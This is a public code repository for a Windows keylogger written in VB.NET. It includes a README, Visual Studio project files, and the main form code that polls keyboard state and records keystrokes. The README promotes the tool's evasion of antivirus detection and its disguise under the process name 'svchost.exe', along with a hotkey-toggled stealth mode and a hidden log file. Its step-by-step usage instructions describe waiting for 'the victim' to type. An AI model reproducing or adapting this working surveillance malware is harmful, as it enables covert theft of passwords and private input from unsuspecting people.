├── README
├── vbKeylogger.sln
└── vbKeylogger
├── My Project
├── Application.Designer.vb
├── Application.myapp
├── AssemblyInfo.vb
├── Resources.Designer.vb
├── Resources.resx
├── Settings.Designer.vb
├── Settings.settings
└── app.manifest
├── Resources
└── Lightroom_1_512x512x32.png
├── frmKeylogger.Designer.vb
├── frmKeylogger.resx
├── frmKeylogger.vb
├── vbKeylogger.vbproj
└── vbKeylogger.vbproj.user
/README:
--------------------------------------------------------------------------------
1 | This is a simple and basic keylogger I wrote in VB.NET a few months ago.
2 |
3 | It does not raise any flags with popular anti-viruses as of right now, according to this report from VirusTotal: https://www.virustotal.com/file/140f6931863df4cc6eefded4b99f234d71447aba972ff77ca1d258c23dd4fae4/analysis/1333247934/
4 |
5 | INSTALLATION
6 |
7 | Open the project file (vbKeylogger.sln) in Visual Studio or Visual Basic Express and build/compile it. The resulting file can be found in the /vb-keylogger/bin/Release/ directory.
8 |
9 | HOW TO USE
10 |
11 | vb-keylogger can be hidden by pressing the key combination CTRL+SHIFT+S (pressing it will toggle the display of the keylogger control panel), and has an inconspicuous process name "svchost.exe" Upon exit, it will dump its keystroke log to C:\ntklr.sys and make the file hidden. If you do not have permission to write to that directory, or would like to save the log using a different file name, you can select a different directory and path after checking the "Write to file?" checkbox.
12 |
13 |
14 | To use, simply:
15 | 1. Check the "Write to file?" checkbox and select a path (or use the default path), then click Open.
16 | 2. Click the Start button to start keylogging.
17 | 3. Press the key combination CTRL+SHIFT+S (all at once) to conceal the window. ("stealth" mode)
18 | 4. Press some keys, or wait for the victim to type something.
19 | 5. Whenever you want, hit CTRL+SHIFT+S again to bring the window back and view the log. Exit the application or hit End to make it write the log to the log file you specified.
20 | 6. Open the logfile to view keystrokes. This file is hidden, so make sure you have Show hidden files enabled in Windows Explorer to find it.
21 |
22 | Feel free to improve or modify this application!
23 |
24 | -capablemonkey
25 |
26 |
27 |
28 | blog post and compiled binary here: http://capablemonkey.blogspot.com/2012/03/simple-keylogger-in-vb-net.html
--------------------------------------------------------------------------------
/vbKeylogger.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Basic Express 2010
4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "vbKeylogger", "vbKeylogger\vbKeylogger.vbproj", "{05F83C55-1776-45BF-A492-F67446129723}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|x86 = Debug|x86
9 | Release|x86 = Release|x86
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {05F83C55-1776-45BF-A492-F67446129723}.Debug|x86.ActiveCfg = Debug|x86
13 | {05F83C55-1776-45BF-A492-F67446129723}.Debug|x86.Build.0 = Debug|x86
14 | {05F83C55-1776-45BF-A492-F67446129723}.Release|x86.ActiveCfg = Release|x86
15 | {05F83C55-1776-45BF-A492-F67446129723}.Release|x86.Build.0 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/Application.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.1
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes,
18 | ' or if you encounter build errors in this file, go to the Project Designer
19 | ' (go to Project Properties or double-click the My Project node in
20 | ' Solution Explorer), and make changes on the Application tab.
21 | '
22 | Partial Friend Class MyApplication
23 |
24 | _
25 | Public Sub New()
26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
27 | Me.IsSingleInstance = false
28 | Me.EnableVisualStyles = false
29 | Me.SaveMySettingsOnExit = true
30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
31 | End Sub
32 |
33 | _
34 | Protected Overrides Sub OnCreateMainForm()
35 | Me.MainForm = Global.vbKeylogger.frmKeylogger
36 | End Sub
37 | End Class
38 | End Namespace
39 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/Application.myapp:
--------------------------------------------------------------------------------
1 |
2 |
3 | true
4 | frmKeylogger
5 | false
6 | 0
7 | false
8 | 0
9 | true
10 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/AssemblyInfo.vb:
--------------------------------------------------------------------------------
1 | Imports System
2 | Imports System.Reflection
3 | Imports System.Runtime.InteropServices
4 |
5 | ' General Information about an assembly is controlled through the following
6 | ' set of attributes. Change these attribute values to modify the information
7 | ' associated with an assembly.
8 |
9 | ' Review the values of the assembly attributes
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM
21 |
22 |
23 | ' Version information for an assembly consists of the following four values:
24 | '
25 | ' Major Version
26 | ' Minor Version
27 | ' Build Number
28 | ' Revision
29 | '
30 | ' You can specify all the values or you can default the Build and Revision Numbers
31 | ' by using the '*' as shown below:
32 | '
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/Resources.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.1
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 | Imports System
15 |
16 | Namespace My.Resources
17 |
18 | 'This class was auto-generated by the StronglyTypedResourceBuilder
19 | 'class via a tool like ResGen or Visual Studio.
20 | 'To add or remove a member, edit your .ResX file then rerun ResGen
21 | 'with the /str option, or rebuild your VS project.
22 | '''
23 | ''' A strongly-typed resource class, for looking up localized strings, etc.
24 | '''
25 | _
29 | Friend Module Resources
30 |
31 | Private resourceMan As Global.System.Resources.ResourceManager
32 |
33 | Private resourceCulture As Global.System.Globalization.CultureInfo
34 |
35 | '''
36 | ''' Returns the cached ResourceManager instance used by this class.
37 | '''
38 | _
39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
40 | Get
41 | If Object.ReferenceEquals(resourceMan, Nothing) Then
42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("vbKeylogger.Resources", GetType(Resources).Assembly)
43 | resourceMan = temp
44 | End If
45 | Return resourceMan
46 | End Get
47 | End Property
48 |
49 | '''
50 | ''' Overrides the current thread's CurrentUICulture property for all
51 | ''' resource lookups using this strongly typed resource class.
52 | '''
53 | _
54 | Friend Property Culture() As Global.System.Globalization.CultureInfo
55 | Get
56 | Return resourceCulture
57 | End Get
58 | Set
59 | resourceCulture = value
60 | End Set
61 | End Property
62 |
63 | Friend ReadOnly Property Lightroom_1_512x512x32() As System.Drawing.Bitmap
64 | Get
65 | Dim obj As Object = ResourceManager.GetObject("Lightroom_1_512x512x32", resourceCulture)
66 | Return CType(obj,System.Drawing.Bitmap)
67 | End Get
68 | End Property
69 | End Module
70 | End Namespace
71 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | ..\Resources\Lightroom_1_512x512x32.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
123 |
124 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/Settings.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.1
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | _
20 | Partial Friend NotInheritable Class MySettings
21 | Inherits Global.System.Configuration.ApplicationSettingsBase
22 |
23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
24 |
25 | #Region "My.Settings Auto-Save Functionality"
26 | #If _MyType = "WindowsForms" Then
27 | Private Shared addedHandler As Boolean
28 |
29 | Private Shared addedHandlerLockObject As New Object
30 |
31 | _
32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
33 | If My.Application.SaveMySettingsOnExit Then
34 | My.Settings.Save()
35 | End If
36 | End Sub
37 | #End If
38 | #End Region
39 |
40 | Public Shared ReadOnly Property [Default]() As MySettings
41 | Get
42 |
43 | #If _MyType = "WindowsForms" Then
44 | If Not addedHandler Then
45 | SyncLock addedHandlerLockObject
46 | If Not addedHandler Then
47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
48 | addedHandler = True
49 | End If
50 | End SyncLock
51 | End If
52 | #End If
53 | Return defaultInstance
54 | End Get
55 | End Property
56 | End Class
57 | End Namespace
58 |
59 | Namespace My
60 |
61 | _
64 | Friend Module MySettingsProperty
65 |
66 | _
67 | Friend ReadOnly Property Settings() As Global.vbKeylogger.My.MySettings
68 | Get
69 | Return Global.vbKeylogger.My.MySettings.Default
70 | End Get
71 | End Property
72 | End Module
73 | End Namespace
74 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/vbKeylogger/My Project/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
47 |
--------------------------------------------------------------------------------
/vbKeylogger/Resources/Lightroom_1_512x512x32.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/capablemonkey/vb-keylogger/5537c0b60bae8eb0ad07245d9b6f907d7367f3a4/vbKeylogger/Resources/Lightroom_1_512x512x32.png
--------------------------------------------------------------------------------
/vbKeylogger/frmKeylogger.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class frmKeylogger
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(frmKeylogger))
26 | Me.cmdBegin = New System.Windows.Forms.Button()
27 | Me.txtOutput = New System.Windows.Forms.TextBox()
28 | Me.GroupBox1 = New System.Windows.Forms.GroupBox()
29 | Me.cmdClear = New System.Windows.Forms.Button()
30 | Me.cmdEnd = New System.Windows.Forms.Button()
31 | Me.lblTitle1 = New System.Windows.Forms.Label()
32 | Me.StatusStrip1 = New System.Windows.Forms.StatusStrip()
33 | Me.status = New System.Windows.Forms.ToolStripStatusLabel()
34 | Me.lblAbout = New System.Windows.Forms.Label()
35 | Me.lblTitle2 = New System.Windows.Forms.Label()
36 | Me.PictureBox1 = New System.Windows.Forms.PictureBox()
37 | Me.chkFile = New System.Windows.Forms.CheckBox()
38 | Me.OpenFileDialog = New System.Windows.Forms.OpenFileDialog()
39 | Me.GroupBox1.SuspendLayout()
40 | Me.StatusStrip1.SuspendLayout()
41 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
42 | Me.SuspendLayout()
43 | '
44 | 'cmdBegin
45 | '
46 | Me.cmdBegin.Location = New System.Drawing.Point(6, 19)
47 | Me.cmdBegin.Name = "cmdBegin"
48 | Me.cmdBegin.Size = New System.Drawing.Size(75, 23)
49 | Me.cmdBegin.TabIndex = 0
50 | Me.cmdBegin.Text = "Button1"
51 | Me.cmdBegin.UseVisualStyleBackColor = True
52 | '
53 | 'txtOutput
54 | '
55 | Me.txtOutput.Location = New System.Drawing.Point(19, 137)
56 | Me.txtOutput.Multiline = True
57 | Me.txtOutput.Name = "txtOutput"
58 | Me.txtOutput.ReadOnly = True
59 | Me.txtOutput.ScrollBars = System.Windows.Forms.ScrollBars.Both
60 | Me.txtOutput.Size = New System.Drawing.Size(387, 110)
61 | Me.txtOutput.TabIndex = 1
62 | '
63 | 'GroupBox1
64 | '
65 | Me.GroupBox1.Controls.Add(Me.cmdClear)
66 | Me.GroupBox1.Controls.Add(Me.cmdEnd)
67 | Me.GroupBox1.Controls.Add(Me.cmdBegin)
68 | Me.GroupBox1.Location = New System.Drawing.Point(87, 82)
69 | Me.GroupBox1.Name = "GroupBox1"
70 | Me.GroupBox1.Size = New System.Drawing.Size(259, 49)
71 | Me.GroupBox1.TabIndex = 2
72 | Me.GroupBox1.TabStop = False
73 | Me.GroupBox1.Text = "GroupBox1"
74 | '
75 | 'cmdClear
76 | '
77 | Me.cmdClear.Location = New System.Drawing.Point(178, 19)
78 | Me.cmdClear.Name = "cmdClear"
79 | Me.cmdClear.Size = New System.Drawing.Size(75, 23)
80 | Me.cmdClear.TabIndex = 2
81 | Me.cmdClear.Text = "Button2"
82 | Me.cmdClear.UseVisualStyleBackColor = True
83 | '
84 | 'cmdEnd
85 | '
86 | Me.cmdEnd.Location = New System.Drawing.Point(87, 19)
87 | Me.cmdEnd.Name = "cmdEnd"
88 | Me.cmdEnd.Size = New System.Drawing.Size(75, 23)
89 | Me.cmdEnd.TabIndex = 1
90 | Me.cmdEnd.Text = "Button1"
91 | Me.cmdEnd.UseVisualStyleBackColor = True
92 | '
93 | 'lblTitle1
94 | '
95 | Me.lblTitle1.Font = New System.Drawing.Font("Tahoma", 20.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
96 | Me.lblTitle1.Location = New System.Drawing.Point(110, 22)
97 | Me.lblTitle1.Name = "lblTitle1"
98 | Me.lblTitle1.Size = New System.Drawing.Size(218, 43)
99 | Me.lblTitle1.TabIndex = 3
100 | Me.lblTitle1.Text = "capablemonkey's"
101 | '
102 | 'StatusStrip1
103 | '
104 | Me.StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.status})
105 | Me.StatusStrip1.Location = New System.Drawing.Point(0, 285)
106 | Me.StatusStrip1.Name = "StatusStrip1"
107 | Me.StatusStrip1.Size = New System.Drawing.Size(412, 22)
108 | Me.StatusStrip1.SizingGrip = False
109 | Me.StatusStrip1.TabIndex = 4
110 | Me.StatusStrip1.Text = "StatusStrip1"
111 | '
112 | 'status
113 | '
114 | Me.status.Name = "status"
115 | Me.status.Size = New System.Drawing.Size(121, 17)
116 | Me.status.Text = "ToolStripStatusLabel1"
117 | '
118 | 'lblAbout
119 | '
120 | Me.lblAbout.AutoSize = True
121 | Me.lblAbout.Location = New System.Drawing.Point(16, 118)
122 | Me.lblAbout.Name = "lblAbout"
123 | Me.lblAbout.Size = New System.Drawing.Size(39, 13)
124 | Me.lblAbout.TabIndex = 5
125 | Me.lblAbout.Text = "Label1"
126 | '
127 | 'lblTitle2
128 | '
129 | Me.lblTitle2.Font = New System.Drawing.Font("Lucida Console", 15.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
130 | Me.lblTitle2.Location = New System.Drawing.Point(231, 54)
131 | Me.lblTitle2.Name = "lblTitle2"
132 | Me.lblTitle2.Size = New System.Drawing.Size(227, 25)
133 | Me.lblTitle2.TabIndex = 6
134 | Me.lblTitle2.Text = "Keylogger"
135 | '
136 | 'PictureBox1
137 | '
138 | Me.PictureBox1.Image = Global.vbKeylogger.My.Resources.Resources.Lightroom_1_512x512x32
139 | Me.PictureBox1.Location = New System.Drawing.Point(19, 3)
140 | Me.PictureBox1.Name = "PictureBox1"
141 | Me.PictureBox1.Size = New System.Drawing.Size(78, 74)
142 | Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
143 | Me.PictureBox1.TabIndex = 7
144 | Me.PictureBox1.TabStop = False
145 | '
146 | 'chkFile
147 | '
148 | Me.chkFile.AutoSize = True
149 | Me.chkFile.Location = New System.Drawing.Point(164, 253)
150 | Me.chkFile.Name = "chkFile"
151 | Me.chkFile.Size = New System.Drawing.Size(85, 17)
152 | Me.chkFile.TabIndex = 8
153 | Me.chkFile.Text = "Write to file?"
154 | Me.chkFile.UseVisualStyleBackColor = True
155 | '
156 | 'OpenFileDialog
157 | '
158 | Me.OpenFileDialog.CheckFileExists = False
159 | Me.OpenFileDialog.CheckPathExists = False
160 | Me.OpenFileDialog.FileName = "C:\ntklr.sys"
161 | Me.OpenFileDialog.ValidateNames = False
162 | '
163 | 'frmKeyRogger
164 | '
165 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
166 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
167 | Me.ClientSize = New System.Drawing.Size(412, 307)
168 | Me.Controls.Add(Me.chkFile)
169 | Me.Controls.Add(Me.PictureBox1)
170 | Me.Controls.Add(Me.lblTitle2)
171 | Me.Controls.Add(Me.lblAbout)
172 | Me.Controls.Add(Me.StatusStrip1)
173 | Me.Controls.Add(Me.lblTitle1)
174 | Me.Controls.Add(Me.txtOutput)
175 | Me.Controls.Add(Me.GroupBox1)
176 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
177 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
178 | Me.Name = "frmKeyRogger"
179 | Me.Text = "Form1"
180 | Me.GroupBox1.ResumeLayout(False)
181 | Me.StatusStrip1.ResumeLayout(False)
182 | Me.StatusStrip1.PerformLayout()
183 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
184 | Me.ResumeLayout(False)
185 | Me.PerformLayout()
186 |
187 | End Sub
188 | Friend WithEvents cmdBegin As System.Windows.Forms.Button
189 | Friend WithEvents txtOutput As System.Windows.Forms.TextBox
190 | Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox
191 | Friend WithEvents cmdClear As System.Windows.Forms.Button
192 | Friend WithEvents cmdEnd As System.Windows.Forms.Button
193 | Friend WithEvents lblTitle1 As System.Windows.Forms.Label
194 | Friend WithEvents StatusStrip1 As System.Windows.Forms.StatusStrip
195 | Friend WithEvents status As System.Windows.Forms.ToolStripStatusLabel
196 | Friend WithEvents lblAbout As System.Windows.Forms.Label
197 | Friend WithEvents lblTitle2 As System.Windows.Forms.Label
198 | Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
199 | Friend WithEvents chkFile As System.Windows.Forms.CheckBox
200 | Friend WithEvents OpenFileDialog As System.Windows.Forms.OpenFileDialog
201 |
202 | End Class
203 |
--------------------------------------------------------------------------------
/vbKeylogger/frmKeylogger.vb:
--------------------------------------------------------------------------------
1 | ' libraries
2 | Imports System.Runtime.InteropServices
3 | Imports System.Threading
4 | Imports System.IO
5 |
6 | Public Class frmKeylogger
7 | ' declarations
8 | Dim buffer As New List(Of String)
9 | Dim buffercat As String
10 | Dim stagingpoint As String
11 | Dim actual As String
12 | Dim initlog As Boolean = False
13 | Dim log As StreamWriter
14 |
15 | ' threading
16 | Public thread_scan As Thread
17 | Public thread_hide As Thread
18 |
19 | ' thread-safe calling for thread_hide
20 | Delegate Sub Change()
21 | Dim objchange As New Change(AddressOf DoHide)
22 |
23 |
24 | Private Sub frmKeyRogger_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
25 | Me.Text = "Keylogger"
26 | lblTitle1.Text = "capablemonkey's"
27 | lblTitle2.Text = "Keylogger"
28 | lblAbout.Text = "About"
29 |
30 | GroupBox1.Text = "Control Panel"
31 | cmdBegin.Text = "Start"
32 | cmdEnd.Text = "End"
33 | cmdEnd.Enabled = False
34 | cmdClear.Text = "Clear"
35 |
36 | 'initiate hide thread
37 | thread_hide = New Thread(AddressOf HideIt)
38 | thread_hide.IsBackground = True
39 | thread_hide.Start()
40 |
41 | status.Text = "Ready"
42 | End Sub
43 |
44 | ' write out keystroke log to file on close event
45 | Private Sub frmKeyRogger_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
46 | Call WriteOut()
47 | End Sub
48 |
49 |
50 | ' getkey, API call to USER32.DLL
51 |
54 | Public Shared Function getkey(ByVal Vkey As Integer) As Boolean
55 | End Function
56 |
57 |
58 | Private Sub cmdBegin_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdBegin.Click
59 |
60 | thread_scan = New Thread(AddressOf Scan)
61 | thread_scan.IsBackground = True
62 | thread_scan.Start()
63 | cmdBegin.Enabled = False
64 |
65 | If chkFile.Checked = True Then
66 | Try
67 | log = New StreamWriter(OpenFileDialog.FileName, True)
68 | Catch
69 | MsgBox("Could not open file for writing. Perhaps it is read only, non-existant, or you lack necessary privileges to access it?")
70 | End Try
71 | End If
72 |
73 | status.Text = "Logging keystrokes..."
74 |
75 | cmdEnd.Enabled = True
76 | End Sub
77 |
78 | ' checks for keypresses with delay, upon detection of pressed key, calls AddToBuffer
79 | Public Sub Scan()
80 | Dim foo As Integer
81 | While 1
82 |
83 | For foo = 1 To 93 Step 1
84 | If getkey(foo) Then
85 | AddtoBuffer(foo, getkey(16))
86 | End If
87 | Next
88 |
89 | For foo = 186 To 192 Step 1
90 | If getkey(foo) Then
91 | AddtoBuffer(foo, getkey(16))
92 | End If
93 | Next
94 |
95 | BufferToOutput()
96 | buffer.Clear()
97 |
98 | Thread.Sleep(120)
99 | SetText(stagingpoint)
100 | End While
101 | End Sub
102 |
103 |
104 | ' parses keycode and saves to buffer to be written
105 | Public Sub AddtoBuffer(ByVal foo As Integer, ByVal modifier As Boolean)
106 | If Not (foo = 1 Or foo = 2 Or foo = 8 Or foo = 9 Or foo = 13 Or (foo >= 17 And foo <= 20) Or foo = 27 Or (foo >= 32 And foo <= 40) Or (foo >= 44 And foo <= 57) Or (foo >= 65 And foo <= 93) Or (foo >= 186 And foo <= 192)) Then
107 | Exit Sub
108 | End If
109 |
110 | Select Case foo
111 | Case 48 To 57
112 | If modifier Then
113 | Select Case foo
114 | Case 48
115 | actual = ")"
116 | Case 49
117 | actual = "!"
118 | Case 50
119 | actual = "@"
120 | Case 51
121 | actual = "#"
122 | Case 52
123 | actual = "$"
124 | Case 53
125 | actual = "%"
126 | Case 54
127 | actual = "^"
128 | Case 55
129 | actual = "&"
130 | Case 56
131 | actual = "*"
132 | Case 57
133 | actual = "("
134 | End Select
135 | Else
136 | actual = Convert.ToChar(foo)
137 | End If
138 | Case 65 To 90
139 | If modifier Then
140 | actual = Convert.ToChar(foo)
141 | Else
142 | actual = Convert.ToChar(foo + 32)
143 | End If
144 | Case 1
145 | 'actual = ""
146 | actual = ""
147 | Case 2
148 | actual = ""
149 | Case 8
150 | actual = ""
151 | Case 9
152 | actual = ""
153 | Case 13
154 | actual = ""
155 | Case 17
156 | actual = ""
157 | Case 18
158 | actual = ""
159 | Case 19
160 | actual = ""
161 | Case 20
162 | actual = ""
163 | Case 27
164 | actual = ""
165 | Case 32
166 | actual = " "
167 | Case 33
168 | actual = ""
169 | Case 34
170 | actual = ""
171 | Case 35
172 | actual = ""
173 | Case 36
174 | actual = ""
175 | Case 37
176 | actual = ""
177 | Case 38
178 | actual = ""
179 | Case 39
180 | actual = ""
181 | Case 40
182 | actual = ""
183 | Case 44
184 | actual = ""
185 | Case 45
186 | actual = ""
187 | Case 46
188 | actual = ""
189 | Case 47
190 | actual = ""
191 | Case 186
192 | If modifier Then
193 | actual = ":"
194 | Else
195 | actual = ";"
196 | End If
197 | actual = ";"
198 |
199 | Case 187
200 | If modifier Then
201 | actual = "+"
202 | Else
203 | actual = "="
204 | End If
205 | Case 188
206 | If modifier Then
207 | actual = "<"
208 | Else
209 | actual = ","
210 | End If
211 | Case 189
212 | If modifier Then
213 | actual = "_"
214 | Else
215 | actual = "-"
216 | End If
217 | Case 190
218 | If modifier Then
219 | actual = ">"
220 | Else
221 | actual = "."
222 | End If
223 | Case 191
224 | If modifier Then
225 | actual = "?"
226 | Else
227 | actual = "/"
228 | End If
229 | Case 192
230 | If modifier Then
231 | actual = "~"
232 | Else
233 | actual = "`"
234 | End If
235 | End Select
236 |
237 | If buffer.Count <> 0 Then
238 | Dim bar As Integer = 0
239 | While bar < buffer.Count
240 | If buffer(bar) = actual Then
241 | Exit Sub
242 | End If
243 | bar += 1
244 | End While
245 | End If
246 |
247 | buffer.Add(actual)
248 |
249 |
250 | End Sub
251 |
252 | ' writes buffer to output box
253 | Public Sub BufferToOutput()
254 | If buffer.Count <> 0 Then
255 | Dim qux As Integer = 0
256 | While qux < buffer.Count
257 | buffercat = buffercat & buffer(qux)
258 | qux += 1
259 | End While
260 | 'SetText(txtOutput.Text & buffercat)
261 | stagingpoint = stagingpoint & buffercat
262 | buffercat = String.Empty
263 | End If
264 | End Sub
265 |
266 | Delegate Sub SetTextCallback(ByVal [text] As String)
267 |
268 | ' thread safe call to output text to output box
269 | Private Sub SetText(ByVal [text] As String)
270 | If txtOutput.InvokeRequired Then
271 | Dim d As New SetTextCallback(AddressOf SetText)
272 | Me.Invoke(d, New Object() {[text]})
273 | Else
274 | txtOutput.Text = [text]
275 | End If
276 | End Sub
277 |
278 | Private Sub cmdEnd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdEnd.Click
279 | thread_scan.Abort()
280 | buffer.Clear()
281 | cmdBegin.Enabled = True
282 | cmdEnd.Enabled = False
283 | Call WriteOut()
284 | status.Text = "Stopped logging."
285 | End Sub
286 |
287 | Private Sub cmdClear_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdClear.Click
288 | txtOutput.Clear()
289 | stagingpoint = String.Empty
290 | End Sub
291 |
292 |
293 | Private Sub lblAbout_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles lblAbout.Click
294 | MsgBox("Written by capablemonkey (c) 2012" & vbNewLine & "contact: technix1@gmail.com" & vbNewLine & "blog: capablemonkey.blogspot.com" & vbNewLine & "Revision 3/31/2012" & vbNewLine & vbNewLine & "Press ctrl+shift+s to hide and unhide me!" & vbNewLine & "Log file stored in C:\ntklr.sys.", , "About")
295 | End Sub
296 |
297 |
298 | Private Sub frmKeyRogger_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
299 | If Me.WindowState = FormWindowState.Minimized Then
300 | Me.Hide()
301 | End If
302 | End Sub
303 |
304 | Public Sub WriteOut()
305 | If chkFile.Checked = False Then
306 | Exit Sub
307 | End If
308 | Dim tm As System.DateTime
309 | tm = Now
310 |
311 | Try
312 | log.WriteLine(vbNewLine)
313 | Catch
314 | log = New StreamWriter(OpenFileDialog.FileName, True)
315 | End Try
316 | log.WriteLine(tm)
317 | If stagingpoint <> Nothing Then
318 | log.WriteLine(stagingpoint)
319 | End If
320 | log.WriteLine(vbNewLine)
321 | log.Flush()
322 | log.Close()
323 |
324 |
325 | 'hides file/sets as hidden
326 | File.SetAttributes(OpenFileDialog.FileName, FileAttributes.Hidden)
327 | End Sub
328 |
329 | ' ctrl+shift+s toggles hide form
330 | Public Sub HideIt()
331 | While 1
332 | If getkey(17) And getkey(160) And getkey(83) Then
333 | Me.Invoke(objchange)
334 | End If
335 | Thread.Sleep(200)
336 | End While
337 | End Sub
338 |
339 | Public Sub DoHide()
340 | If Me.Visible = True Then
341 | Me.Visible = False
342 | Else
343 | Me.Visible = True
344 | End If
345 | End Sub
346 |
347 | Private Sub chkFile_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles chkFile.CheckedChanged
348 | If chkFile.Checked = True Then
349 | OpenFileDialog.ShowDialog()
350 | End If
351 | End Sub
352 | End Class
353 |
--------------------------------------------------------------------------------
/vbKeylogger/vbKeylogger.vbproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | x86
6 |
7 |
8 | 2.0
9 | {05F83C55-1776-45BF-A492-F67446129723}
10 | WinExe
11 | vbKeylogger.My.MyApplication
12 | vbKeylogger
13 | svchost
14 | 512
15 | WindowsForms
16 | v4.0
17 | Client
18 | publish\
19 | true
20 | Disk
21 | false
22 | Foreground
23 | 7
24 | Days
25 | false
26 | false
27 | true
28 | 0
